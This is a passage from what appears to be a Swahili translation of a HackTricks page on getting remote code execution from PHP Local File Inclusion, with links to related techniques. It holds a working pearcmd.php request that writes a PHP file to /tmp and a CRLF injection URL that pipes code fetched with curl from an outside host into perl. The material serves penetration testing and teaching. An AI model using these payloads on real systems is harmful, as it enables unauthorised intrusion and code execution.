inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa script kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina =
, inapaswa kutumika kama hoja.
Ombi lifuatalo linaunda faili katika /tmp/hello.php
yenye maudhui <?=phpinfo()?>
:
{% code overflow="wrap" %}
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
{% endcode %}
Ifuatayo inatumia CRLF vuln kupata RCE (kutoka hapa):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Kupitia phpinfo() (file_uploads = on)
Ikiwa umepata Local File Inclusion na faili inayonyesha phpinfo() ikiwa file_uploads = on unaweza kupata RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Kupitia compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Ikiwa umepata Local File Inclusion na unaweza kuondoa njia ya faili ya muda LAKINI server inakagua ikiwa faili inayopaswa kujumuishwa ina alama za PHP, unaweza kujaribu kuzidi ukaguzi huo na Race Condition hii:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Kupitia kusubiri milele + bruteforce
Ikiwa unaweza kutumia LFI kupakia faili za muda na kufanya server kushindwa katika utekelezaji wa PHP, unaweza kisha kufanya brute force majina ya faili kwa masaa ili kupata faili ya muda:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Kwa Kosa la Kifo
Ikiwa unajumuisha yoyote ya faili /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Unahitaji kujumuisha ile ile mara 2 ili kutupa kosa hilo).
Sijui hii ni ya manufaa vipi lakini inaweza kuwa.
Hata kama unasababisha Kosa la Kifo la PHP, faili za muda za PHP zilizopakiwa zinafuta.
Marejeleo
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Jiunge na HackenProof Discord server kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
Uelewa wa Udukuzi
Shiriki na maudhui yanayoangazia msisimko na changamoto za udukuzi
Habari za Udukuzi Wakati Halisi
Endelea kuwa na habari za hivi punde katika ulimwengu wa udukuzi kupitia habari na uelewa wa wakati halisi
Matangazo ya Hivi Punde
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.